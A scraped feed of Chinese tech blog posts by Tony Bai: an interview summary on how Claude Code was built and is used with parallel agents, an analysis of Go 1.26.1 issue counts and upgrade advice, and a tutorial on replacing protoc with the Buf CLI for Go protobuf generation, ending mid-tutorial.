href=\"https://tonybai.com/2026/03/07/breaking-curse-of-knowledge-architect-reflection-openclaw\"\u003ehttps://tonybai.com/2026/03/07/breaking-curse-of-knowledge-architect-reflection-openclaw\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e最近一个多月，一个名为 \u003ca href=\"https://tonybai.com/2026/02/15/openclaw-core-engine-pi-architecture-philosophy-minimalism\"\u003eOpenClaw\u003c/a\u003e（其前身为火爆全网的 Moltbot/Clawdbot）的开源 AI Agent 项目在 GitHub 上引发了现象级的热潮。\u003c/p\u003e\n\u003cp\u003e这个项目的核心逻辑并不复杂：它本质上是一个“网关 + 大模型 + 智能体运行时”的架构组合。然而，令人惊奇的并非技术本身，而是参与这场狂欢的人群画像。\u003c/p\u003e","title":"打破“知识诅咒”：资深架构师在 OpenClaw 浪潮中的掉队与反思"},{"content":"\n本文永久链接 – https://tonybai.com/2026/03/06/building-claude-code-with-boris-cherny\n大家好，我是Tony Bai。\n想象一下，你加入了一家全球顶级的 AI 实验室，满怀热情地提交了第一个 Pull Request (PR)。然而，你的 PR 却被直接拒绝了。原因不是代码写得不好，而是——这代码是你“手写”的。\n这不是科幻小说，这是 Boris Cherny 加入 Anthropic 时的真实经历。作为目前炙手可热的 AI 编程工具 Claude Code 的缔造者和工程负责人，Boris 曾是 Meta (前 Facebook) 最高产的程序员之一。但在 Opus 4.5 模型发布后，他的工作流发生了颠覆性的变化：现在，他每天可以提交 20 到 30 个 PR，且不再手动编辑任何一行代码。\n在近期的一期深度访谈中，Boris 分享了 Claude Code 从一个内部黑客项目到爆款工具的演进历程，以及他对于 AI 时代软件工程未来的深刻洞察。\nClaude Code 的诞生：不要把 AI 关在盒子里 Claude Code 的前身是一个名为 “Clyde” 的内部原型。当 Boris 最初构思如何将 AI 融入编程时，他犯了一个很多开发者都会犯的错误：试图把 AI 当作系统中的一个组件。\n在传统的思维模式下，我们倾向于把模型关在一个“盒子”里，为其定义严格的输入和输出接口（比如在 IDE 中高亮一段代码，然后让 AI 解释或补全）。但 Boris 很快意识到，这不是与大模型交互的正确方式。\n“不要试图把它放进盒子里，不要强迫它以特定的方式行事。把模型看作一个独立的实体，给它工具，让它自己运行程序。”\n这种被 Boris 称为“苦涩教训（Bitter Lesson）推论”的理念，成为了 Claude Code 的核心设计哲学。他赋予了模型执行 Bash 命令的权限，接着是读写文件系统的权限。当模型获得了与现实世界（操作系统）交互的能力后，奇迹发生了。\n他举了一个早期的例子：他给了模型一个 Bash 工具，然后问它：“我正在听什么音乐？”模型竟然自己写了一段 AppleScript 脚本，调用 sed 等命令去查询本地的音乐播放器，并成功返回了答案。这一刻，Boris 感受到了真正的 AGI（通用人工智能）气息。\n从手写到“指挥”：并行 Agent 的极致工作流 作为曾经 Meta 代码产量极高的工程师，Boris 现在的产出速度更是达到了令人咋舌的地步（每天 20-30 个 PR，从几行到几千行不等）。他是如何做到的？答案是大规模并行 Agent (Parallel Agents)。\n他分享了自己目前极其硬核的终端工作流：\n多开终端：在终端（如 tmux）中打开 5 个标签页，每个都是独立的代码库 Check-out（或者使用 Git Worktree）。 启动计划模式 (Plan Mode)：在每个标签页中启动 Claude Code，并进入“计划模式”（按两次 Shift+Tab），向 Agent 描述需求。 轮询指挥：当第一个 Agent 开始思考和执行时，他立刻切换到第二个标签页启动另一个 Agent。如此循环。 验证与交付：当收到某个 Agent 完成任务的通知时，切回去检查结果。 在这种模式下，Boris 不再是一个“打字员”，而化身为一个“交响乐团指挥”。他的核心工作从“思考如何实现”，变成了“思考业务逻辑的类型签名（Type Signatures）”和“验证模型的输出”。\n当 AI 编写了 80% 的代码，代码审查（Code Review）怎么做？ 这是每个工程团队都会面临的灵魂拷问。在 Anthropic 内部，高达 80% 的代码现在由 Claude Code 生成。那么，他们是如何把控质量的？\n答案是：用 AI 审查 AI，辅以人类的最后防线。\nAgent 自我测试：Claude Code 会在本地自动编写并运行测试。如果 Anthropic 工程师修改了 Claude Code 本身的源码，Agent 甚至会启动一个子进程来做端到端（E2E）测试。 AI 初审 (Best of N)：在 CI/CD 阶段，每一个 PR 都会先被 Claude 审查。为了解决 LLM 偶尔的非确定性和幻觉，他们采用了 Best of N 策略——启动多个并行的 Agent 进行审查，再用一个去重 Agent 汇总结果。这能拦截约 80% 的低级 Bug。 动态 Lint 规则：当发现同事的 PR 中出现了可被静态分析捕获的问题时，Boris 会直接要求 Claude 当场写一个 Lint 规则，从源头上杜绝此类问题。 人类拍板：尽管自动化程度极高，但对于企业级产品，目前 Anthropic 依然要求每个 PR 必须有真正的人类工程师进行第二轮审查并最终批准。 “我们就像 15 世纪的抄写员” 面对 AI 展现出的恐怖编程能力，即便是前特斯拉 AI 总监 Andrej Karpathy 也感叹自己“从未如此落后过”。许多程序员感到恐慌：我们寒窗苦读十载练就的编码技能，是不是要变成屠龙之技了(变得稀有且遥远)？\nBoris 给出了一个非常精彩且充满希望的隐喻：印刷术的发明。\n在 15 世纪印刷术出现之前，“识字和抄写”是极少数人的特权。他们被国王雇佣，经过多年训练才能胜任。而当时的许多国王，甚至自己都是文盲。\n“我们现在的软件工程师，就像是那些抄写员。而业务方（CEO/PM）就像是那些不懂技术的国王。”\n当印刷术出现后，书籍的成本下降了百倍，数量增加了万倍。抄写员并没有消失，他们变成了作家、编辑、出版商。随着识字率的普及，整个知识市场迎来了前所未有的大爆炸，催生了无数在那之前根本无法想象的职业和产业。\n今天，AI 编程工具就是软件工程界的“印刷术”。编程的门槛正在被无限拉低，原本不懂代码的业务人员、设计师、财务人员（在 Anthropic 内部，非技术人员使用 Claude Code 的比例接近 100%）都能直接将想法转化为软件。这不会消灭软件工程，而是会让软件的产量和应用场景呈指数级爆发。\n工程师的新生存法则：哪些技能在贬值，哪些在升值？ 在这场范式转移中，作为开发者，我们需要对技能树进行重新评估。\n正在快速贬值的技能：\n对语言和框架的宗教式狂热：不要再为“到底是用 React 还是 Vue”、“这应该用 Go 还是 Rust 写”而争得面红耳赤了。如果模型觉得当前框架不好，它随时可以用几分钟时间帮你用另一个语言重写一遍。 沉溺于语法细节：未来将没有人再去手动敲击枯燥的样板代码。 愈发珍贵的核心能力：\n系统化与假设驱动思维：面对复杂的 Debug 场景，如何提出假设、逐步验证，这种科学的工程思维依然是 AI 目前难以完全替代的。 跨界的好奇心：未来属于全栈通才。如果你懂前端、懂后端，同时还懂业务逻辑、设计心理学甚至财务模型，你就能借助 AI 工具，以“一人公司”的姿态构建出估值十亿美元的产品。 高频上下文切换能力 (ADHD 式的工作法)：在这个需要同时管理多个 AI 智能体的时代，不再那么强调长时间的“深度编码”，而是需要你能在多个高层上下文中快速穿梭、精准决策。 注：ADHD (注意力缺陷多动症) 式的工作法是一种灵活而高度分散注意力的工作风格，常常表现为多任务处理和非线性思维，能够快速切换多个任务并通过联想和直觉进行思考。这种方法倾向于将大的任务分解为小的、可管理的目标，以保持动力和成就感。同时，工作过程中的兴趣和关注点可能会快速变化，因此通常会采用短暂的工作间隔与休息时间。通过频繁调整和迭代的方式，ADHD式工作法能够帮助人们利用自身的优势，克服注意力集中的挑战。\n小结：抛弃傲慢，拥抱变化 在采访的最后，Boris 坦言自己也经常感到挣扎：模型进化的速度太快了，几个月前验证失败的架构理念，换个新模型可能瞬间就跑通了。\n在这个时代，“智力上的谦逊 (Intellectual Humility)” 比过往的经验更重要。不要再用旧时代的标尺去衡量新世界的工具。承认 AI 可能比你写得快、甚至写得好，放下作为“手写代码匠人”的骄傲，去学习如何更好地指挥这支由超级大脑组成的交响乐团吧。\n毕竟，未来不属于那些拒绝使用 AI 的人，而是属于那些知道如何用 AI 构建下一个时代的人。\n资料链接：https://www.youtube.com/watch?v=julbw1JuAz0\n你敢交出“键盘”吗？\nBoris 的经历让我们重新思考什么是“专业”。如果你提交的 PR 仅仅是因为“这是我手写的”而被拒绝，你的第一反应会是什么？在你的团队中，是否已经有人开始尝试这种“指挥家”式的工作流？\n欢迎在评论区分享你的看法！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n想系统学习Go，构建扎实的知识体系？\n我的新书《Go语言第一课》是你的首选。源自2.4万人好评的极客时间专栏，内容全面升级，同步至Go 1.24。首发期有专属五折优惠，不到40元即可入手，扫码即可拥有这本300页的Go语言入门宝典，即刻开启你的Go语言高效学习之旅！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/03/06/building-claude-code-with-boris-cherny/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/building-claude-code-with-boris-cherny-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/03/06/building-claude-code-with-boris-cherny\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/03/06/building-claude-code-with-boris-cherny\"\u003ehttps://tonybai.com/2026/03/06/building-claude-code-with-boris-cherny\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e想象一下，你加入了一家全球顶级的 AI 实验室，满怀热情地提交了第一个 Pull Request (PR)。然而，你的 PR 却被直接拒绝了。原因不是代码写得不好，而是——\u003cstrong\u003e这代码是你“手写”的\u003c/strong\u003e。\u003c/p\u003e","title":"从手写代码到日提 30 个 PR：Claude Code 缔造者的 AI 编程启示录"},{"content":"\n本文永久链接 – https://tonybai.com/2026/03/06/go-1-26-most-problematic-release\n大家好，我是Tony Bai。\n2026 年 2 月，Go 1.26 如约而至。伴随着 new(expr) 语法糖的引入、Green Tea GC 的全面转正，以及go fix 现代化重构等一系列重磅特性，许多 Gopher 都按捺不住尝鲜的冲动。\n然而，在经验丰富的 Go 团队和架构师群体中，流传着一条不成文的“潜规则”：永远不要在生产环境第一时间升级 X.Y.0 大版本，至少等到 X.Y.1 补丁发布后再做决定。\n这条潜规则并非空穴来风。Go 的 1.N.0 版本虽然经过了长达半年的开发和 RC 阶段的测试，但只有当它真正被全球几百万开发者投入到千奇百怪的生产环境中时，那些隐藏在深处的边界 Bug 才会浮出水面。而 1.N.1 版本，正是官方对这“第一波真实世界火力测试”所暴露问题的集中修复。\n因此，一个非常客观且有趣的推论诞生了：观察 1.N.1 里程碑下的 Issue 数量，可以作为衡量 1.N.0 初始质量的一张“晴雨表”。\n最近，我在例行了解 Go 官方仓库的 GitHub 里程碑数据时，发现了一个令人警惕的信号：Go 1.26.1 的 Issue 数量，正在呈现出明显的“异常峰值”。\n本文将用真实的数据说话，带你横向拉网式对比 Go 1.17 到 Go 1.26 这五年间、共十个大版本的初期质量水平，并深度拆解这些 Issue 的具体成分。Go 1.26 到底稳不稳定？现在升级安全吗？答案就在这些数据里。\n核心数据全景：Go 1.26 的“异常峰值” 为了得出客观的结论，我利用 GitHub cli端gh工具 提取了从 Go 1.17.1 到 Go 1.26.1 的完整里程碑数据。这跨越了 Go 语言 2021 年至 2026 年的五年黄金发展期。\n为了更直观地感受这组数据的冲击力，我们将其绘制成趋势图（数据采集于 2026 年 3 月4日晚）：\n从数据中读出的残酷真相 仔细审视这组数据，我们可以得出几个不容忽视的结论：\n总量拉响警报：Go 1.26.1 的总 Issue 数目前已升至 39 个，直接打破了五年来历史最差的 Go 1.21.1 的记录（38 个）。这意味着它发布后暴露出的问题远超常规水平。 与“前任”形成鲜明对比：就在半年前发布的 Go 1.25，其 Go 1.25.1 补丁仅有 9 个 Issue，堪称近年来最稳定的“神仙版本”。Go 1.26 的问题数量是其四倍有余，这种断崖式的质量波动令人意外。 修复压力巨大：截至数据采集时，Go 1.26.1 仍有 17 个 Open Issue 亟待修复，官方团队正处于“救火”状态中，Go 1.26.1 补丁的发布可能还需要一些时间。 初步结论：Go 1.26 大版本的初始质量（Initial Quality）存在明显瑕疵，社区踩坑率偏高。\n图Go 1.26.1 milestone下的issues列表\n深度挖掘：为什么 Go 1.26 成了“重灾区”？ 看到这里，你可能会问：Go 团队的开发流程一向严谨，为什么 1.26 会出现如此多的问题？\n为了探寻真相，我没有停留在宏观数字上，而是将 Go 1.26.1 里程碑下的 全部 39 个 Issue 逐一扒开，按其性质进行了分类。不看不知道，一看吓一跳，这 39 个问题背后的成分大有玄机。\n通过分类数据，我们可以清晰地看到导致 Go 1.26 翻车的“三大元凶”：\ncmd/fix / modernize 相关：创新的“生长痛” (占比 33%) 这是 Go 1.26 核心新特性——全新的 go fix 自动代码现代化工具——直接引发的问题（约 13 个）。\n静态分析并自动修改代码是一把双刃剑。在真实世界极其复杂的抽象语法树（AST）场景中，go fix 暴露出了一些“好心办坏事”的边界 Bug。例如：\nstringsbuilder 重写规则破坏了某些合法代码。 rangeint 升级在某些跨平台场景下存在兼容问题。 minmax 替换规则意外破坏了 select 语句的结构。 waitgroup 检查器导致了误报的编译错误。 … … 好消息是：这个类别虽然问题多，但大多数是被工具链“误伤”的语法层面的问题，且 绝大部分已被 Go 团队快速修复（目前该类别仅剩少数处于 Open 状态）。这说明 Go 团队对新特性的反馈响应非常迅速。\ncompiler/runtime 相关：最令人担忧的核心动荡 (占比 44%) 这是本次分析中最令人担忧的类别。多达 17 个 Issue 直指 Go 的心脏——编译器和运行时。\n引入 Green Tea GC 全面转正、栈分配优化以及实验性的 SIMD 等底层变动，不可避免地触碰了最敏感的神经：\n出现了多个 Internal Compiler Error (ICE)，这意味着编译器在处理特定代码时直接崩溃了。 曝出了 runtime segfault / panic，这是运行时层面的致命错误。 32 位架构上的 timespec 定义错误。 SIMD 实验特性的相关 Bug。 这些直击核心的问题中，有大约一半目前仍处于 Open（待修复）状态。底层 Bug 的修复往往需要极其谨慎的测试和论证，这可能会直接影响 Go 1.26 在高并发、复杂内存场景下的稳定性。\nRegression (回归问题)：亮起最高级别的红灯 (占比 10%) 虽然只有 4 个 Issue 被打上了 regression（回归）标签，但这是最严重的信号。回归意味着：在 Go 1.25 中能够正常编译和完美运行的代码，在什么都不改的情况下，升级到 Go 1.26 后却出错了！\n这打破了 Go 最引以为傲的“向后兼容”承诺。这些回归问题包括：\nSynology Linux 环境下 fork syscall 发生冲突。 32 位 Android 系统下的 seccomp 问题。 mipsle 架构下出现的 segfault。 Windows 平台上 os.RemoveAll 行为异常（已修复）。 4 个 regression 问题中有 3 个至今尚未修复（Open）。这意味着，如果你恰好使用了相关的平台或系统接口，升级 Go 1.26 后将掉入一个“大坑”。\n数据背后的真相总结 综合以上硬核拆解，我们得到了一张更为清晰的“风险热力图”：\n理性决策：现在该升级 Go 1.26 吗？ 数据虽然冰冷，但它为我们的技术决策提供了极其理性的支撑。面对目前 Go 1.26 这样一份成分复杂的“体检报告”，我为不同场景的开发者提供以下实操建议：\n场景一：公司核心生产环境 强烈建议：暂缓升级，绝对按兵不动！\n不要拿核心业务去为新编译器和新 Runtime 做“小白鼠”。鉴于存在多个未解决的 Compiler/Runtime Bug 和严重的 Regression 问题，至少要等到 Go 1.26.1 正式发布，仔细阅读其 Release Notes 确认相关雷区被排除后，再做评估。如果可能的话，我甚至建议那些对稳定性要求极高的金融或电商系统，等到 Go 1.26.2 发布后再进行灰度迁移。\n场景二：团队的辅助工具 / 内部系统 建议：可以在本地或测试环境准备迁移，但不要上生产。\n现在是让团队架构师开始在本地测试 Go 1.26 兼容性的好时机。你可以利用这段时间跑一遍全量的单元测试和集成测试，看看新的 Green Tea GC 是否对你们的特定负载有负面影响，或者有没有踩中那几个未修复的 Regression 雷区。\n场景三：个人项目 / 新技术学习 建议：大胆升级，享受新特性。\n对于没有历史包袱的个人项目，new(expr) 和强大的 go fix 绝对值得立刻体验。遇到 Bug 怎么办？去 GitHub 提 Issue！这也是参与开源社区建设、为 Go 生态排雷的绝佳方式。\n小结：读懂版本号背后的语言演进 软件工程没有魔法，没有哪个大版本能在经历了底层大换血后依然完美无瑕。\nGo 1.26.1 高达 39 个的 Issue 数量，以及占比极高的底层 Runtime/Compiler 报错，并不是在说“Go 团队不行了”，而恰恰反映了这门语言仍在保持着极其旺盛的生命力、以及为了追求更高性能而积极重构底层债务的勇气。\n只不过，作为一线开发者和架构师，我们需要学会读懂这些数据发出的信号。在“享受技术红利”和“保障业务稳定”之间，让数据帮助我们找到最完美的平衡点。\n最后，做个小调查：你目前在使用 Go 的哪个版本？是否有计划在近期升级到 1.26？欢迎在评论区分享你的看法！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/03/06/go-1-26-most-problematic-release/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/go-1-26-most-problematic-release-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/03/06/go-1-26-most-problematic-release\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/03/06/go-1-26-most-problematic-release\"\u003ehttps://tonybai.com/2026/03/06/go-1-26-most-problematic-release\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e2026 年 2 月，\u003ca href=\"https://tonybai.com/2026/02/14/some-changes-in-go-1-26/\"\u003eGo 1.26 如约而至\u003c/a\u003e。伴随着 new(expr) 语法糖的引入、\u003ca href=\"https://tonybai.com/2025/10/31/deep-into-go-green-tea-gc/\"\u003eGreen Tea GC 的全面转正\u003c/a\u003e，以及\u003ca href=\"https://tonybai.com/2026/02/19/using-go-fix-to-modernize-go-code\"\u003ego fix 现代化重构\u003c/a\u003e等一系列重磅特性，许多 Gopher 都按捺不住尝鲜的冲动。\u003c/p\u003e","title":"数据说话：Go 1.26 或成近年来“问题最多”的大版本，现在升级安全吗？"},{"content":"\n本文永久链接 – https://tonybai.com/2026/03/05/modern-go-protobuf-dev-in-2026\n大家好，我是Tony Bai。\n在现代后端开发领域，Go 语言与 Protocol Buffers（简称 Protobuf）加上 gRPC 的组合，早已成为构建高性能微服务架构的“行业标准”。这两者的结合在网络传输效率、强类型契约以及跨语言互操作性上展现出了无与伦比的优势。\n然而，令人感到魔幻的是，随着 Go 语言本身的生态在过去几年里飞速进化（从 GOPATH 到 Go Modules，从混乱的依赖管理到极其统一且优雅的标准工具链），处理 Protobuf 文件的代码生成环节，却长期停留在一种“上古时代”的原始状态。\n就在最近，技术社区 Reddit 的 r/golang 板块上出现了一则引发大家共鸣的帖子。一位开发者提出下面拷问：\n“I was wondering what is the preferred way to do golang + protobuf in 2026. Do I still have to download protoc or are there any natives I can use with the golang compiler.”\n（我想知道 2026 年 Go + protobuf 的首选开发方式是什么？我是否仍然必须下载 protoc，或者 Go 编译器有没有内置原生的支持？）\n这不仅是这位开发者的困惑，更是无数长期忍受繁琐工具链的 Gopher 们的心声。在跟帖回复中，社区开发者们给出了一个相对主流的的答案：Go 编译器本身并没有，也不打算内置解析 .proto 的功能，但是，所有严肃的现代工程团队都开始在用 Buf (buf.build) 替代原生 protoc 工具链了。\n本文将深入剖析 2026 年的现代 Protobuf 工程化实践。我将带你领略为什么 buf CLI 是当之无愧的现代化首选，以及它是如何彻底终结“手敲 protoc 命令”这一痛苦历史的。\n核心痛点：为什么原生 protoc 令人抓狂？ 在请出主角 Buf 之前，我们需要先深刻理解，传统的 protoc 工作流到底哪里出了问题，以至于整个社区都在寻求替代方案。\n如果你在过去几年使用过原生的方式在 Go 中生成 Protobuf 代码，你的项目里极大概率会存在一个类似于下面这样“臭名昭著”的 Makefile 或 build.sh 脚本：\n# 传统项目中常见的“野生” Makefile 节选 .PHONY: generate-proto PROTO_FILES=$(shell find api -name \u0026#34;*.proto\u0026#34;) generate-proto: @echo \u0026#34;Generating Go code from Protobuf...\u0026#34; protoc \\ -I api \\ -I /usr/local/include \\ -I $(GOPATH)/pkg/mod/github.com/grpc-ecosystem/grpc-gateway@v1.16.0/third_party/googleapis \\ --go_out=gen/go \\ --go_opt=paths=source_relative \\ --go-grpc_out=gen/go \\ --go-grpc_opt=paths=source_relative \\ $(PROTO_FILES) 这段看似能跑的脚本背后，隐藏着令开发者抓狂的三大“原罪”：\n环境依赖的地狱 要成功运行上述命令，你的机器（以及所有协作者的机器、甚至是 CI/CD 流水线的容器）上必须预先安装 C++ 编写的 protoc 编译器核心二进制文件。此外，你还需要通过 go install 将正确版本的 protoc-gen-go 和 protoc-gen-go-grpc 插件安装到系统的 $PATH 目录下。任何一个人机器上的版本不一致，都会导致生成的 Go 代码带有微小的差异，最终在 Git 提交中引发无意义的代码冲突。\n路径导入的迷宫 (-I 噩梦) protoc 是基于文件系统的。如果你的 .proto 文件中引入了第三方的定义（例如 import “google/api/annotations.proto”; 以支持 HTTP 网关），你必须在机器上找到这些第三方文件的物理存放路径，并通过极度冗长且极易出错的 -I（–proto_path）参数将它们一个个拼接起来。\n缺乏规范约束与破坏性变更保护 protoc 仅仅是一个编译器，它完全不在乎你的字段命名是否符合团队规范（例如把字段命名为 camelCase 而不是官方推荐的 snake_case）。更致命的是，当你随意删改已经在线上运行的字段类型时，protoc 会毫无波澜地为你生成新的代码，直到代码发布导致客户端反序列化崩溃，你才会发现酿成了大祸。\n开发者的精力应该集中在业务逻辑的设计上，而不是每天在终端里调试 protoc 的环境变量和路径参数。这就是 Buf CLI 诞生的核心驱动力。\nBuf CLI 闪亮登场：声明式的现代 Protobuf 工具链 Buf（由 buf.build 公司开发）并不是另一个像 protoc-gen-go 一样的单点插件，而是一套完全由 Go 语言编写、开箱即用、向下兼容 Protobuf 语法的全链路现代编译器套件。\n它的核心设计哲学非常清晰：\n声明式配置：用简洁的 YAML 文件取代面条式的 Shell 命令。 一致性保障：无论在本地开发机还是远程 CI 环境，保证 100% 的生成结果一致。 工程化内置：将代码规范检查（Linting）和向后兼容性检测（Breaking Change Detection）作为一等公民内置于 CLI 中。 为了真正理解它的强大，接下来我们将基于一个干净的 Linux (Ubuntu/Debian 或类似发行版) 环境，从零开始构建一个微服务的 API 契约层，带你体验这套全新的开发范式。\n零基础环境搭建与项目初始化 步骤 1：安装 Go 与 Buf CLI 首先，确保你的 Linux 环境中已经安装了 Go 语言（建议使用 Go 1.22 或更高版本）。\n由于 Buf CLI 自身就是用 Go 编写的，因此在 Linux 下安装它最简单、最不易出错的方式就是直接下载预编译好的单体二进制文件，或者通过 go install。为了全局可用且版本可控，我们使用官方推荐的下载脚本：\n# 下载适用于 Linux x86_64 架构的 buf CLI v1.66.0 (请根据实际情况调整版本号) # 以及protoc-gen-buf-breaking、protoc-gen-buf-lint工具 # Substitute PREFIX for your install prefix. # Substitute VERSION for the current released version. PREFIX=\u0026#34;/usr/local\u0026#34; \u0026amp;\u0026amp; \\ VERSION=\u0026#34;1.66.0\u0026#34; \u0026amp;\u0026amp; \\ curl -sSL \\ \u0026#34;https://github.com/bufbuild/buf/releases/download/v${VERSION}/buf-$(uname -s)-$(uname -m).tar.gz\u0026#34; | \\ tar -xvzf - -C \u0026#34;${PREFIX}\u0026#34; --strip-components 1 # 验证安装成功 $ buf --version 1.66.0 极其清爽的体验：仅仅这一个只有几十 MB 的二进制文件，就涵盖了后续我们需要的所有核心功能，你完全不需要再去单独使用 apt-get install protobuf-compiler 安装传统的 protoc！\n步骤 2：创建项目结构与编写 Protobuf IDL 我们在当前用户的主目录下创建一个名为 acme-shop 的微服务项目，并初始化 Go Module：\n$ mkdir -p acme-shop \u0026amp;\u0026amp; cd acme-shop $ go mod init github.com/acme/shop 接着，按照现代工程的最佳实践，我们将 Protobuf 文件与具体的 Go 业务代码隔离开来。我们创建一个 proto 目录专门存放接口定义（IDL）：\n# 创建目录层级 $ mkdir -p proto/acme/order/v1 使用你喜欢的编辑器（如 vim, nano 或 VSCode），在 proto/acme/order/v1/order.proto 中写入以下内容：\n// proto/acme/order/v1/order.proto syntax = \u0026#34;proto3\u0026#34;; package acme.order.v1; // go_package 是必须的，它告诉工具生成的 Go 代码最终属于哪个 import path option go_package = \u0026#34;github.com/acme/shop/gen/go/acme/order/v1;orderv1\u0026#34;; import \u0026#34;google/protobuf/timestamp.proto\u0026#34;; // 订单服务接口定义 service OrderService { rpc CreateOrder(CreateOrderRequest) returns (CreateOrderResponse) {} } message CreateOrderRequest { string customer_id = 1; double amount = 2; } message CreateOrderResponse { string order_id = 1; google.protobuf.Timestamp created_at = 2; } 请注意，在这个文件中我们引入了标准的 google/protobuf/timestamp.proto。在传统方式下，你必须确保你的机器上存在这个标准库文件，而在接下来 Buf 的演示中，你会看到它是如何自动化处理这一切的。\n彻底告别命令行黑魔法：Buf 核心功能实战 步骤 3：初始化 Buf 模块 (The buf.yaml) 传统的 protoc 需要你每次在命令行指定要编译哪些文件。Buf 引入了“工作区（Workspace）”和“模块（Module）”的概念。\n在项目的 proto 目录下，我们通过 buf mod init 命令(最新版本的buf建议使用buf config init)来声明这是一个受 Buf 管理的 Protobuf 模块：\n$ cd proto $ buf mod init $ cd .. 这会在 proto/ 目录下生成一个非常简洁的 buf.yaml 文件，内容类似如下（基于当前默认的 v1 版本，若是更高版本可能是 v2）：\n# For details on buf.yaml configuration, visit https://buf.build/docs/configuration/v2/buf-yaml version: v2 lint: use: - STANDARD breaking: use: - FILE 这个看似简单的文件意义非凡。它告诉 Buf CLI：当前目录（proto）的根路径，就是所有 .proto 文件导入路径（Import Path）的起点。你从此再也不用在任何地方手写令人头疼的 -I /path/to/proto 参数了。 此外，它还激活了默认的代码规范规则（lint）和兼容性检测规则（breaking）。\n步骤 4：零配置的代码规范检查 (buf lint) 在传统开发中，Protobuf 的风格往往是一笔糊涂账。现在，Buf 直接将静态代码分析带到了你的终端。\n让我们故意在 order.proto 中犯一个小错。打开 proto/acme/order/v1/order.proto，将请求消息的字段名改成驼峰式命名：\nmessage CreateOrderRequest { // 故意违反 protobuf 推荐的 snake_case 命名规范 string customerId = 1; double amount = 2; } 回到终端，在项目根目录（acme-shop）下运行检查命令：\n$ buf lint proto 输出结果清晰得令人拍案叫绝：\nproto/acme/order/v1/order.proto:18:10:Field name \u0026#34;customerId\u0026#34; should be lower_snake_case, such as \u0026#34;customer_id\u0026#34;. Buf 指出了具体的文件、行号、列号，甚至直接给出了修改建议。这使得将 Protobuf 规范集成到 Git Pre-commit Hook 或 CI/CD 流水线中变得易如反掌。将代码改回 customer_id 后，再次运行 buf lint proto，将没有任何输出，代表检查通过。\n步骤 5：声明式代码生成 (buf.gen.yaml) 重头戏来了。我们要用一种极其优雅的方式，取代前面提到的长串 protoc 命令和冗长的 Makefile。\n在项目根目录（acme-shop）下，新建一个文件名为 buf.gen.yaml 的生成配置文件：\n# buf.gen.yaml version: v1 plugins: # 插件 1：生成基础的 Go struct 代码 - plugin: go out: gen/go opt: paths=source_relative # 插件 2：生成 gRPC 客户端/服务端接口代码 - plugin: go-grpc out: gen/go opt: paths=source_relative 在这个配置文件中，我们声明了需要使用哪两个插件（go 和 go-grpc），生成的代码输出到哪里（out: gen/go），以及附加的选项（opt: paths=source_relative 确保生成的目录结构与 proto 文件结构保持一致）。\n【纯本地环境的准备工作】\n由于我们在配置中指定了具体的插件名称（go 和 go-grpc），当运行 Buf 时，它会在你的系统环境中寻找名为 protoc-gen-go 和 protoc-gen-go-grpc 的可执行文件。因此，仅仅是为了完成本地代码生成这一步，我们依然需要使用 Go 官方工具获取这两个插件：\n$ go install google.golang.org/protobuf/cmd/protoc-gen-go@latest $ go install google.golang.org/grpc/cmd/protoc-gen-go-grpc@latest # 确保安装后的protoc-gen-go和protoc-gen-go-grpc在系统 $PATH 中 注意：虽然这里依然下载了本地插件，但这已经是你在本地唯一需要管理的外部依赖了。核心的编译器、路径解析、规范约束都已经被 Buf 接管。稍后我们会讲到如何通过 BSR 甚至连这一步都省略掉。\n步骤 6：一键执行，见证优雅 (buf generate) 万事俱备，现在只需在项目根目录执行极其简单的一句命令：\n$ buf generate proto 